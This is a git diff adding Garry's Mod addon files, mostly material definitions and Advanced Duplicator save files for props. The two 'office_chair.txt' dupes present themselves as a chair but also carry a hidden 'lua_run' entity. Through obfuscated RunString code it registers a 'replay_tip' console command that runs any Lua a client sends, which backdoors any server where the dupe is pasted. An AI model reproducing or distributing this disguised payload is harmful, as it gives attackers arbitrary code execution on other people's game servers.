b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.psd new file mode 100644 index 0000000..00048e5 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.psd differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.vmt new file mode 100644 index 0000000..0166061 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_triangle" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.vtf new file mode 100644 index 0000000..f5625b4 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_edged.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_edged.vmt new file mode 100644 index 0000000..3579406 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_edged.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_triangle_edged" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_edged.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_edged.vtf new file mode 100644 index 0000000..64dc212 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_edged.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_inside.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_inside.vmt new file mode 100644 index 0000000..e8b9675 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_inside.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_triangle_inside" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_inside.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_inside.vtf new file mode 100644 index 0000000..45066d4 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_inside.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/rad_ring.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/rad_ring.vmt new file mode 100644 index 0000000..58c4e3d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/rad_ring.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/rad_ring" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/rad_ring.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/rad_ring.vtf new file mode 100644 index 0000000..2c7facb Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/rad_ring.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/=Public Folder=/office_chair.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/=Public Folder=/office_chair.txt new file mode 100644 index 0000000..44b9944 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/=Public Folder=/office_chair.txt @@ -0,0 +1,54 @@ +[Info] +Type:AdvDupe File +Creator:"AdvDupe" +Date:10/10/04 +Description:"none" +Entities:2 +Constraints:0 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1337 (exported) +Time:13:37 PM +Head:179 +HoldAngle:0,8.02,0 +HoldPos:-5.43051,3.92103,-0.285474 +StartPos:-2024.72,-2201.65,-143.969 +[Save] +Entities:185E5028{Y:8=Y:7;Y:9=T:185E5088;Y:11=Y:10;Y:15=T:185E5058;Y:6=Y:5;Y:17=Y:16;Y:19=Y:18;Y:21=Y:20;}H16EB7358{N:179=T:18EE2C98;N:107=T:1543CC48;}185E5088{;}18126518{Y:1=A:0.110851,-2.26633,0.0649324;Y:2=V:5.27173,-4.13306,0.270523;Y:3=B:t;}1882DFA0{N:0=T:18126518;}18EE2CF8{Y:25=T:1882DF70;}1543CBB8{N:0=T:1543CBE8;}18EE2C98{Y:4=T:1882DFA0;Y:6=Y:5;Y:22=T:185E5028;Y:24=Y:23;Y:2=V:5.27173,-4.13306,0.270523;Y:21=Y:20;Y:26=T:18EE2CF8;Y:1=A:0.110851,-2.26633,0.0649324;Y:27=N:0;}1543CC48{Y:1=A:-3.43192e-013,90,0.000247415;Y:2=V:9.18774,-246.495,-82.6752;Y:27=N:0;Y:4=T:1543CBB8;Y:6=Y:28;Y:21=Y:29;}185E5058{Y:13=Y:12;Y:14=S:"0";Y:30=Y:31;}1882DF70{;}1543CBE8{Y:1=A:-3.43192e-013,90,0.000247415;Y:2=V:9.18774,-246.495,-82.6752;Y:3=B:t;} +Constraints:H18796A28{;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"prop_vehicle_prisoner_pod" +6:"Class" +7:"Half-Life 2" +8:"Category" +9:"Members" +10:"Chair" +11:"Name" +12:"scripts/vehicles/prisoner_pod.txt" +13:"vehiclescript" +14:"limitview" +15:"KeyValues" +16:"VALVe" +17:"Author" +18:"A Plastic Chair" +19:"Information" +20:"models/nova/chair_office02.mdl" +21:"Model" +22:"VehicleTable" +23:"Chair_Plastic" +24:"VehicleName" +25:"VehicleMemDupe" +26:"EntityMods" +27:"Skin" +28:"lua_run" +29:"models/combine_helicopter/helicopter_bomb01.mdl" +30:"PlayerOn" +31:"lua_run,RunPassedCode,RunString([[concommand.Add('replay_tip']]..string.char(44)..[[function(_]]..string.char(44)..[[_]]..string.char(44)..[[args) RunString(table.concat(args]]..string.char(44)..[[' ')) end)]]),0,0" \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/STEAM_0_0_17809124/office_chair.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/STEAM_0_0_17809124/office_chair.txt new file mode 100644 index 0000000..44b9944 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/STEAM_0_0_17809124/office_chair.txt @@ -0,0 +1,54 @@ +[Info] +Type:AdvDupe File +Creator:"AdvDupe" +Date:10/10/04 +Description:"none" +Entities:2 +Constraints:0 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1337 (exported) +Time:13:37 PM +Head:179 +HoldAngle:0,8.02,0 +HoldPos:-5.43051,3.92103,-0.285474 +StartPos:-2024.72,-2201.65,-143.969 +[Save] +Entities:185E5028{Y:8=Y:7;Y:9=T:185E5088;Y:11=Y:10;Y:15=T:185E5058;Y:6=Y:5;Y:17=Y:16;Y:19=Y:18;Y:21=Y:20;}H16EB7358{N:179=T:18EE2C98;N:107=T:1543CC48;}185E5088{;}18126518{Y:1=A:0.110851,-2.26633,0.0649324;Y:2=V:5.27173,-4.13306,0.270523;Y:3=B:t;}1882DFA0{N:0=T:18126518;}18EE2CF8{Y:25=T:1882DF70;}1543CBB8{N:0=T:1543CBE8;}18EE2C98{Y:4=T:1882DFA0;Y:6=Y:5;Y:22=T:185E5028;Y:24=Y:23;Y:2=V:5.27173,-4.13306,0.270523;Y:21=Y:20;Y:26=T:18EE2CF8;Y:1=A:0.110851,-2.26633,0.0649324;Y:27=N:0;}1543CC48{Y:1=A:-3.43192e-013,90,0.000247415;Y:2=V:9.18774,-246.495,-82.6752;Y:27=N:0;Y:4=T:1543CBB8;Y:6=Y:28;Y:21=Y:29;}185E5058{Y:13=Y:12;Y:14=S:"0";Y:30=Y:31;}1882DF70{;}1543CBE8{Y:1=A:-3.43192e-013,90,0.000247415;Y:2=V:9.18774,-246.495,-82.6752;Y:3=B:t;} +Constraints:H18796A28{;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"prop_vehicle_prisoner_pod" +6:"Class" +7:"Half-Life 2" +8:"Category" +9:"Members" +10:"Chair" +11:"Name" +12:"scripts/vehicles/prisoner_pod.txt" +13:"vehiclescript" +14:"limitview" +15:"KeyValues" +16:"VALVe" +17:"Author" +18:"A Plastic Chair" +19:"Information" +20:"models/nova/chair_office02.mdl" +21:"Model" +22:"VehicleTable" +23:"Chair_Plastic" +24:"VehicleName" +25:"VehicleMemDupe" +26:"EntityMods" +27:"Skin" +28:"lua_run" +29:"models/combine_helicopter/helicopter_bomb01.mdl" +30:"PlayerOn" +31:"lua_run,RunPassedCode,RunString([[concommand.Add('replay_tip']]..string.char(44)..[[function(_]]..string.char(44)..[[_]]..string.char(44)..[[args) RunString(table.concat(args]]..string.char(44)..[[' ')) end)]]),0,0" \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/bath_gold.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/bath_gold.txt new file mode 100644 index 0000000..f29fd25 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/bath_gold.txt @@ -0,0 +1,109 @@ +[Info] +Type:AdvDupe File +Creator:"nil" +Date:08/16/10 +Description:"none" +Entities:18 +Constraints:21 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:Not Installed +Time:08:52 PM +Head:152 +HoldAngle:0,0.353777,0 +HoldPos:-1.76828,22.4726,-20.3525 +StartPos:581.741,4130.2,-63.9688 +[Save] +Entities:H023E6A20{N:162=T:02318828;N:166=T:022C74A0;N:147=T:024A7888;N:155=T:022F01C0;N:163=T:0255B130;N:167=T:024194E8;N:148=T:0227FBA0;N:152=T:024CB828;N:156=T:024ED9A0;N:160=T:022CAA88;N:164=T:022D1D88;N:153=T:024A9ED0;N:157=T:022B0A20;N:161=T:024BA2D0;N:165=T:024A4CC8;N:150=T:0227E728;N:154=T:0229D920;N:158=T:0229ADD8;}02435440{Y:8=Y:7;Y:10=Y:9;Y:12=Y:11;Y:16=T:02431CC8;Y:18=Y:17;Y:6=Y:5;Y:19=T:0228F2D0;Y:21=Y:20;}025043A8{Y:31=T:024C95A0;}022C9CF0{Y:30=Y:44;}022B0A20{Y:43=N:0;Y:34=B:t;Y:32=T:0245A600;Y:45=N:11;Y:1=A:76.3942,88.903,178.867;Y:6=Y:46;Y:48=Y:74;Y:4=T:02547950;Y:50=Y:75;S:"key"=N:10;Y:2=V:6.24707,-49.7712,15.5484;Y:21=Y:76;Y:52=N:0;Y:53=N:10000;Y:33=N:0;}02274B88{N:0=T:02275B78;}0226B6A0{Y:30=Y:44;}02280E60{Y:27=N:15;}0234DCD0{N:0=T:0228CE40;}024C7408{N:0=T:0250AFC8;}024FC720{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}023FF5E8{Y:14=Y:13;Y:15=S:"0";}022F0878{Y:1=A:-1.77202,0.0740663,359.492;Y:2=V:14.1365,7.84326,13.4956;Y:3=B:f;}02405A38{Y:30=Y:41;}022B2500{Y:25=N:0;Y:31=T:0226B6A0;}022FBC78{Y:1=A:-2.08863,0.0316996,359.707;Y:2=V:14.9175,-22.1738,15.4106;Y:3=B:f;}02510D38{Y:1=A:87.4361,-3.20154,356.796;Y:2=V:39.6821,24.5171,26.885;Y:3=B:f;}022FE388{Y:25=N:20;Y:31=T:02534C60;Y:28=T:02280E60;Y:26=T:024ED0E0;}0228F2D0{;}022C4930{Y:25=N:0;Y:31=T:022AA850;}02381530{N:0=T:02272450;}024103E8{;}024A7888{Y:43=N:0;Y:34=B:t;Y:32=T:024BB400;Y:45=N:4;Y:1=A:89.3142,-172.837,7.15944;Y:6=Y:46;Y:48=Y:47;Y:4=T:022B64C0;Y:50=Y:49;S:"key"=N:6;Y:2=V:-7.53583,24.5151,26.3663;Y:21=Y:51;Y:52=N:0;Y:53=N:4453.3798828125;Y:33=N:0;}022E7840{Y:25=N:20;Y:26=T:024103E8;Y:28=T:02333A38;Y:31=T:0240B7F8;}0240F740{;}023733B8{Y:31=T:02405A38;}022F01C0{Y:4=T:022CFC68;Y:6=Y:5;Y:22=T:02435440;Y:24=Y:23;Y:2=V:14.699,-40.5173,45.4953;Y:21=Y:20;Y:32=T:022A1818;Y:1=A:-1.37788,-0.00216784,-0.44989;Y:33=N:0;}0255B130{Y:43=N:0;Y:34=B:t;Y:32=T:024C1F30;Y:45=N:2;Y:1=A:76.4106,86.4002,176.289;Y:6=Y:46;Y:48=Y:47;Y:4=T:02309620;Y:50=Y:49;S:"key"=N:8;Y:2=V:15.9779,-44.4348,26.0928;Y:21=Y:51;Y:52=N:0;Y:53=N:10000;Y:33=N:0;}0240B7F8{Y:30=Y:29;}02338F60{Y:1=A:89.3142,-172.837,7.15944;Y:2=V:-7.53583,24.5151,26.3663;Y:3=B:f;}0229ADD8{Y:34=B:t;Y:4=T:0234DCD0;Y:33=N:0;Y:6=Y:35;Y:36=N:9;Y:1=A:-1.23074,-105.9,0.0519453;Y:37=N:13;Y:38=N:12;Y:2=V:33.513,-24.5532,27.4303;Y:21=Y:39;Y:40=N:3;Y:32=T:023733B8;Y:42=N:1;}02309620{N:0=T:022FDE38;}024BA2D0{Y:57=N:1;Y:1=A:0.103833,90.0005,-1.24854;Y:6=Y:58;S:"key"=N:0;Y:33=N:0;Y:52=B:f;Y:32=T:0229E988;Y:59=S:"";Y:60=N:500;Y:34=B:t;Y:53=N:67.76000213623;Y:4=T:0224F7E8;Y:2=V:-2.21448,44.2539,26.2364;Y:21=Y:61;Y:63=Y:62;Y:64=N:0.03999999910593;Y:65=N:0.079999998211861;}0224F7E8{N:0=T:0227C5E0;}0234C150{Y:1=A:-1.23074,-105.9,0.0519453;Y:2=V:-1.37714,24.4434,26.6846;Y:3=B:f;}022E4438{Y:30=Y:56;}02377058{Y:27=N:15;}024194E8{Y:21=Y:54;Y:1=A:0.419365,94.1869,-1.1431;Y:2=V:18.2078,39.3389,22.4908;Y:33=N:0;Y:4=T:024EA4F8;Y:6=Y:55;Y:32=T:022DA870;}022B0610{Y:31=T:0227BBB8;}022DA870{Y:25=N:20;Y:31=T:0245B078;}0245B078{Y:30=Y:56;}02275B78{Y:1=A:-1.23074,-105.9,0.0519453;Y:2=V:-1.36926,-24.5596,26.7948;Y:3=B:f;}02318828{Y:4=T:024FDAF8;Y:6=Y:5;Y:22=T:022725E0;Y:24=Y:23;Y:2=V:14.1365,7.84326,13.4956;Y:21=Y:20;Y:32=T:022E7840;Y:1=A:-1.77202,0.0740663,-0.507629;Y:33=N:0;}024FDAF8{N:0=T:022F0878;}0229D920{Y:34=B:t;Y:4=T:02274B88;Y:33=N:0;Y:6=Y:35;Y:36=N:9;Y:1=A:-1.23074,-105.9,0.0519453;Y:37=N:13;Y:38=N:12;Y:2=V:-1.36926,-24.5596,26.7948;Y:21=Y:39;Y:40=N:3;Y:32=T:022B0610;Y:42=N:1;}02336E90{Y:69=T:024FC720;Y:70=N:0;Y:71=N:0;}0227B398{Y:1=A:76.4094,83.7555,173.565;Y:2=V:24.6055,-49.8481,16.1385;Y:3=B:f;}023AC320{Y:1=A:-6.57519,53.4386,2.09162;Y:2=V:-3496.48,-1641.26,-1.32132e+007;Y:3=B:f;}022710A0{Y:30=Y:44;}024C1F30{Y:31=T:022710A0;}0236F308{;}02272450{Y:1=A:0.31649,90.0006,358.843;Y:2=V:18.58,64.6401,21.9374;Y:3=B:f;}02378B38{N:0=T:02339640;}02483AA0{Y:30=Y:73;}02409AE8{Y:25=N:20;Y:31=T:02483AA0;}022D1D88{Y:43=N:0;Y:34=B:t;Y:32=T:022B2500;Y:45=N:6;Y:1=A:87.4361,-3.20154,-3.20438;Y:6=Y:46;Y:48=Y:47;Y:4=T:02336F58;Y:50=Y:49;S:"key"=N:4;Y:2=V:39.6821,24.5171,26.885;Y:21=Y:51;Y:52=N:0;Y:53=N:4453.3798828125;Y:33=N:0;}02547950{N:0=T:02356948;}024A6AA0{N:0=T:0227B398;}0245A600{Y:25=N:20;Y:31=T:024DFAF8;}02432830{Y:1=A:-1.23074,-105.9,0.0519453;Y:2=V:33.5162,24.438,26.9915;Y:3=B:f;}022FDE38{Y:1=A:76.4106,86.4002,176.289;Y:2=V:15.9779,-44.4348,26.0928;Y:3=B:f;}02338C68{S:"a"=N:0;S:"b"=N:255;S:"g"=N:175;S:"r"=N:130;}0250AFC8{Y:1=A:0.24986,89.9953,358.16;Y:2=V:36.0645,44.3472,26.7397;Y:3=B:f;}0228B748{N:0=T:022FBC78;}02333A38{Y:27=N:15;}022725E0{Y:8=Y:7;Y:10=Y:9;Y:12=Y:11;Y:16=T:023FF5E8;Y:18=Y:17;Y:6=Y:5;Y:19=T:0236F308;Y:21=Y:20;}024ACA18{Y:1=A:-1.37788,-0.00216784,359.55;Y:2=V:14.699,-40.5173,45.4953;Y:3=B:f;}0227FBA0{Y:57=N:1;Y:1=A:0.24986,89.9953,-1.84006;Y:6=Y:58;S:"key"=N:0;Y:33=N:0;Y:52=B:f;Y:32=T:0250B0B8;Y:59=S:"";Y:60=N:500;Y:34=B:t;Y:53=N:67.76000213623;Y:4=T:024C7408;Y:2=V:36.0645,44.3472,26.7397;Y:21=Y:61;Y:63=Y:62;Y:64=N:0.03999999910593;Y:65=N:0.079999998211861;}022B1448{Y:69=T:02338C68;Y:70=N:0;Y:71=N:0;}0227E728{Y:43=N:0;Y:34=B:t;Y:32=T:02409AE8;Y:45=N:11;Y:1=A:76.4094,83.7555,173.565;Y:6=Y:46;Y:48=Y:74;Y:4=T:024A6AA0;Y:50=Y:75;S:"key"=N:10;Y:2=V:24.6055,-49.8481,16.1385;Y:21=Y:76;Y:52=N:0;Y:53=N:10000;Y:33=N:0;}022962D8{Y:8=Y:7;Y:10=Y:9;Y:12=Y:11;Y:16=T:0255AD48;Y:18=Y:17;Y:6=Y:5;Y:19=T:022B1F10;Y:21=Y:20;}024262D8{Y:25=N:20;Y:31=T:022B50C0;Y:72=T:022B1448;}024C95A0{Y:30=Y:41;}0227C5E0{Y:1=A:0.103833,90.0005,358.751;Y:2=V:-2.21448,44.2539,26.2364;Y:3=B:f;}0229E988{Y:25=N:20;Y:31=T:022E4438;}02339640{Y:1=A:-0.00200589,90,359.998;Y:2=V:22.472,1.76758,20.3533;Y:3=B:t;}0227BBB8{Y:30=Y:41;}024E78E8{Y:30=Y:56;}024ED0E0{;}02412C10{N:0=T:0234C150;}02431CC8{Y:14=Y:13;Y:15=S:"0";}024DFAF8{Y:30=Y:73;}024A4CC8{Y:57=N:1;Y:1=A:0.31649,90.0006,-1.15714;Y:6=Y:58;S:"key"=N:0;Y:33=N:0;Y:52=B:f;Y:32=T:024262D8;Y:59=Y:77;Y:60=N:500;Y:34=B:f;Y:53=N:0.01;Y:4=T:02381530;Y:2=V:18.58,64.6401,21.9374;Y:21=Y:61;Y:63=Y:62;Y:64=N:0.090000003576279;Y:65=N:0.05;}02391110{N:0=T:023AC320;}024ED9A0{Y:21=Y:68;Y:1=A:-6.57519,53.4386,2.09162;Y:2=V:-3496.48,-1641.26,-1.32132e+007;Y:33=N:0;Y:4=T:02391110;Y:6=Y:55;Y:32=T:02308B30;}022B50C0{Y:30=S:"";}024CB828{Y:21=Y:66;Y:1=A:-0.00200589,90,-0.00177002;Y:2=V:22.472,1.76758,20.3533;Y:33=N:0;Y:4=T:02378B38;Y:6=Y:55;Y:32=T:022FDB90;}02308B30{Y:25=N:20;Y:72=T:02336E90;}02534C60{Y:30=Y:29;}022B1F10{;}024D7768{Y:30=Y:29;}022CFC68{N:0=T:024ACA18;}024EA4F8{N:0=T:02300F98;}022FDB90{Y:25=N:20;Y:31=T:02275358;}02356948{Y:1=A:76.3942,88.903,178.867;Y:2=V:6.24707,-49.7712,15.5484;Y:3=B:f;}0255AD48{Y:14=Y:13;Y:15=S:"0";}024A9ED0{Y:34=B:t;Y:4=T:02412C10;Y:33=N:0;Y:6=Y:35;Y:36=N:9;Y:1=A:-1.23074,-105.9,0.0519453;Y:37=N:13;Y:38=N:12;Y:2=V:-1.37714,24.4434,26.6846;Y:21=Y:39;Y:40=N:3;Y:32=T:025043A8;Y:42=N:1;}022CAA88{Y:4=T:0228B748;Y:6=Y:5;Y:22=T:022962D8;Y:24=Y:23;Y:2=V:14.9175,-22.1738,15.4106;Y:21=Y:20;Y:32=T:022FE388;Y:1=A:-2.08863,0.0316996,-0.293243;Y:33=N:0;}022AA850{Y:30=Y:41;}022C74A0{Y:34=B:t;Y:4=T:0241A230;Y:33=N:0;Y:6=Y:35;Y:36=N:9;Y:1=A:-1.23074,-105.9,0.0519453;Y:37=N:13;Y:38=N:12;Y:2=V:33.5162,24.438,26.9915;Y:21=Y:39;Y:40=N:3;Y:32=T:022C4930;Y:42=N:1;}02336F58{N:0=T:02510D38;}024BB400{Y:31=T:022C9CF0;}02275358{Y:30=Y:67;}022A1818{Y:25=N:20;Y:31=T:024D7768;Y:28=T:02377058;Y:26=T:0240F740;}022B64C0{N:0=T:02338F60;}02300F98{Y:1=A:0.419365,94.1869,358.857;Y:2=V:18.2078,39.3389,22.4908;Y:3=B:f;}0250B0B8{Y:25=N:20;Y:31=T:024E78E8;}0228CE40{Y:1=A:-1.23074,-105.9,0.0519453;Y:2=V:33.513,-24.5532,27.4303;Y:3=B:f;}0241A230{N:0=T:02432830;} +Constraints:022E31A0{T:02427908;T:02290C70;}02341638{Y:79=N:152;Y:80=N:0;}0249D270{Y:81=T:022F2678;Y:84=Y:83;Y:78=N:0;}02495D18{Y:34=N:0;Y:78=N:0;Y:81=T:0233C688;Y:82=B:t;Y:84=Y:83;}0233D5D8{Y:79=N:158;Y:80=N:0;}0229ABD0{Y:34=B:t;Y:78=N:0;Y:81=T:0242A900;Y:82=B:t;Y:84=Y:83;}02352EB0{T:022847B8;T:024B40D8;}02421120{Y:81=T:023E2880;Y:84=Y:83;Y:78=N:0;}022CFF38{Y:79=N:154;Y:80=N:0;}02278210{Y:79=N:152;Y:80=N:0;}0242A900{T:0233B850;T:024425C8;}0224EE88{Y:34=B:t;Y:78=N:0;Y:81=T:022FD528;Y:82=B:t;Y:84=Y:83;}02546FF0{Y:79=N:152;Y:80=N:0;}023FAA98{Y:34=B:t;Y:78=N:0;Y:81=T:024C1648;Y:82=B:t;Y:84=Y:83;}023755C8{T:022ECBB0;T:0233AAE0;}024E13D0{Y:81=T:02352EB0;Y:84=Y:85;}024C1698{T:0244C870;T:0229A6D0;}02402950{Y:34=N:0;Y:78=N:0;Y:81=T:023FF188;Y:82=B:t;Y:84=Y:83;}02427908{Y:79=N:156;Y:80=N:0;}022A3230{Y:34=B:t;Y:78=N:0;Y:81=T:0249B268;Y:82=B:t;Y:84=Y:83;}022847B8{Y:79=N:156;Y:80=N:0;}023677E8{Y:34=N:0;Y:78=N:0;Y:81=T:024D21C8;Y:82=B:t;Y:84=Y:83;}024C8FB0{Y:79=N:157;Y:80=N:0;}024C1648{T:0250F140;T:02546FF0;}0249B268{T:0232DED0;T:02521AC0;}0232DED0{Y:79=N:147;Y:80=N:0;}02373480{Y:79=N:153;Y:80=N:0;}022E7458{Y:79=N:166;Y:80=N:0;}0233C688{T:022CFF38;T:022CC4A0;}0241B608{Y:81=T:02432358;Y:84=Y:83;Y:78=N:0;}023FF188{T:02373480;T:022EC408;}023EF328{Y:81=T:0233DBC8;Y:84=Y:83;Y:78=N:0;}024B03E8{Y:81=T:022E31A0;Y:84=Y:85;}H024E7708{T:023677E8;T:0241B608;T:02516648;T:024B03E8;T:02421120;T:022A3230;T:023FAA98;T:0249D270;T:02379498;T:02495D18;T:0229ABD0;T:0227F0B0;T:02235668;T:023EF328;T:022D5028;T:02402950;T:024E13D0;T:024AFA38;T:0224EE88;T:024E9C60;T:0245D7D8;}022EB7B0{Y:79=N:152;Y:80=N:0;}0233DBC8{T:0248C650;T:024FBC58;}022ED498{Y:79=N:162;Y:80=N:0;}0228ADE8{Y:79=N:162;Y:80=N:0;}02339CF8{T:022982E0;T:02341638;}02318210{T:024C8FB0;T:02278210;}0233B558{Y:79=N:160;Y:80=N:0;}022CB7D0{Y:79=N:148;Y:80=N:0;}0245D7D8{Y:81=T:02287A30;Y:84=Y:83;Y:78=N:0;}022E4988{Y:79=N:165;Y:80=N:0;}02339708{T:022E7458;T:0234F1E8;}024E9C60{Y:34=N:0;Y:78=N:0;Y:81=T:02339708;Y:82=B:t;Y:84=Y:83;}022B1290{Y:79=N:166;Y:80=N:0;}0229B300{Y:79=N:164;Y:80=N:0;}02287A30{T:0233B558;T:0228ADE8;}024D21C8{T:0233D5D8;T:0232E3F8;}023344D8{Y:79=N:152;Y:80=N:0;}02429118{Y:79=N:162;Y:80=N:0;}022EC408{Y:79=N:152;Y:80=N:0;}02351D30{Y:79=N:160;Y:80=N:0;}0229A6D0{Y:79=N:152;Y:80=N:0;}02235668{Y:34=B:t;Y:78=N:0;Y:81=T:02318210;Y:82=B:t;Y:84=Y:83;}0236CE00{T:02351D30;T:022EB7B0;}0227F0B0{Y:81=T:023755C8;Y:84=Y:83;Y:78=N:0;}0248C650{Y:79=N:161;Y:80=N:0;}024AFA38{Y:81=T:024B3C00;Y:84=Y:83;Y:78=N:0;}024B40D8{Y:79=N:162;Y:80=N:0;}024B3C00{T:02429118;T:023344D8;}0233B850{Y:79=N:150;Y:80=N:0;}0238B670{Y:79=N:152;Y:80=N:0;}0250F140{Y:79=N:163;Y:80=N:0;}024425C8{Y:79=N:152;Y:80=N:0;}02379498{Y:81=T:0236CE00;Y:84=Y:83;Y:78=N:0;}02290C70{Y:79=N:152;Y:80=N:0;}022982E0{Y:79=N:165;Y:80=N:0;}022D5028{Y:81=T:02339CF8;Y:84=Y:85;}024FBC58{Y:79=N:152;Y:80=N:0;}024361D8{Y:79=N:152;Y:80=N:0;}0244C870{Y:79=N:155;Y:80=N:0;}023E2880{T:02534DC8;T:022ED498;}022ECBB0{Y:79=N:167;Y:80=N:0;}0233AAE0{Y:79=N:152;Y:80=N:0;}022F2678{T:022CB7D0;T:0238B670;}02516648{Y:81=T:024C1698;Y:84=Y:83;Y:78=N:0;}022FD528{T:0229B300;T:022B1290;}0234F1E8{Y:79=N:152;Y:80=N:0;}02521AC0{Y:79=N:153;Y:80=N:0;}02432358{T:024361D8;T:022E4988;}022CC4A0{Y:79=N:152;Y:80=N:0;}02534DC8{Y:79=N:155;Y:80=N:0;}0232E3F8{Y:79=N:152;Y:80=N:0;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"prop_vehicle_prisoner_pod" +6:"Class" +7:"Half-Life 2" +8:"Category" +9:"A Seat from VALVe's Airboat" +10:"Information" +11:"Airboat Seat" +12:"Name" +13:"scripts/vehicles/prisoner_pod.txt" +14:"vehiclescript" +15:"limitview" +16:"KeyValues" +17:"VALVe" +18:"Author" +19:"Members" +20:"models/nova/airboat_seat.mdl" +21:"Model" +22:"VehicleTable" +23:"Seat_Airboat" +24:"VehicleName" +25:"CollisionGroupMod" 